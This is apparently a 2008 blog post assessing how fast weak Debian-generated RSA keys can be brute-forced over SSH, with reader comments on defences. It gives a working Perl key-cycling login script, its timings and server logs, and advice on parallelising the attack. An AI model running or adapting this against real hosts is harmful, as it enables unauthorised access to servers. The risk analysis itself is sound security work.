The viability of remote SSH key cracking

Here’s some pretty scary figures from Craig Hughes on the viability of an SSH worm:

when doing this, connecting to localhost:

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a [email protected]'"'"'); system("ssh-add -D"); $keys = ""; }'

4.63user 3.06system 0:19.54elapsed

ie about 50 per second

when connecting remotely over the internet (ping RTT is ~60ms):

find rsa -type f ! -name '*.pub' | head -1000 | time perl -e 'my $counter=0; my $keys=""; while(<>) { chomp; $keys = "$keys $_"; next unless (++$counter)%7 == 0; system("ssh-add$keys 2>/dev/null"); system ('"'"'ssh -q -n -T -C -x -a [email protected]'"'"'); system("ssh-add -D"); $keys = ""; }'

1.10user 0.60system 0:35.15elapsed

ie about 6 per second over the internet.

Logging of the failures on the server side looks like this:

May 15 10:53:31 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50445;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:32 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50446;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:33 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50447;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:34 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50448;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:35 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50451;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:36 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50452;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:37 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50453;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:39 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50455;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:40 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50456;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:41 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50457;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:42 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50458;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1
May 15 10:53:43 [sshd] SSH: Server;Ltype: Version;Remote:
74.93.1.97-50459;Protocol: 2.0;Client: OpenSSH_4.7p1-hpn13v1

ie it shows the connection attempt, but NOT the failure. It shows one connection attempt per 7 keys attempted.

So given that:

  1. RSA is the default if you don’t specify for ssh-keygen
  2. 99.99% of people use x86
  3. PID is sequential, and there’s almost certainly an uneven distribution in PIDs used by the keys out there in the wild

then:

Probably there’s about 10k RSA keys which are in some very large fraction of the (debian-generated) authorized_keys files out there. These can be attempted in about 1/2 an hour, remotely over the internet. You can hit the full 32k range of RSA keys in an hour and a half. Note that the time(1) output shows how little load this puts on the client machine — you could easily run against lots of target hosts in parallel; most of the time is spent waiting for TCP roundtrip latencies. Actually, given that, you could probably accelerate the attack substantially by parallelizing the attempts to an individual host so you have lots of packets in flight at any given time. You could probably easily get up towards the 50/s local number doing this, which brings time down to about 3-4 minutes for 10k keys, or 11 minutes for the full 32k keys.

This entry was posted in Uncategorized and tagged , , , , . Bookmark the permalink. Both comments and trackbacks are currently closed.

4 Comments

  1. Posted May 17, 2008 at 11:32 | Permalink

    One thing I did at work was scan the host key fingerprints in our user’s known_hosts files. This helped me identify several vulnerable hosts on-site which I could then inform the owners about. Unfortunately this would also be a powerful way to find compromised hosts with a black hat on.

    Debian turns on the known_hosts hashing feature by default which would prevent this. Unfortunately neither RH nor solaris seem to do so.

  2. Posted May 17, 2008 at 14:55 | Permalink

    Does Debian disable PermitRootLogin in sshd_config? That would mitigate this a little, because working out a valid testuser is not always easy.

  3. Posted May 18, 2008 at 10:40 | Permalink

    Good question, it has proven harder to answer than I thought :) It would appear that the default is to have it on. I don’t think this would have a great impact on the key issue because I doubt many people use keys for root logins, although I wonder if off is a more sensible default. It looks like it wouldn’t be hard to make this a debconf option, at the very least. I’ll consider submitting a patch.

  4. Posted May 22, 2008 at 12:40 | Permalink

    Is there some reason the default configuration doesn’t calculate the retry delay using a geometric function, based on the number of retries, e.g., 20 ms between the second and third retry, 100 ms between the third and fourth, 500 ms between the fourth and fifth, etc.? One would think that would be an important component of the default setup anyway, to make dictionary attacks against weak passwords take longer…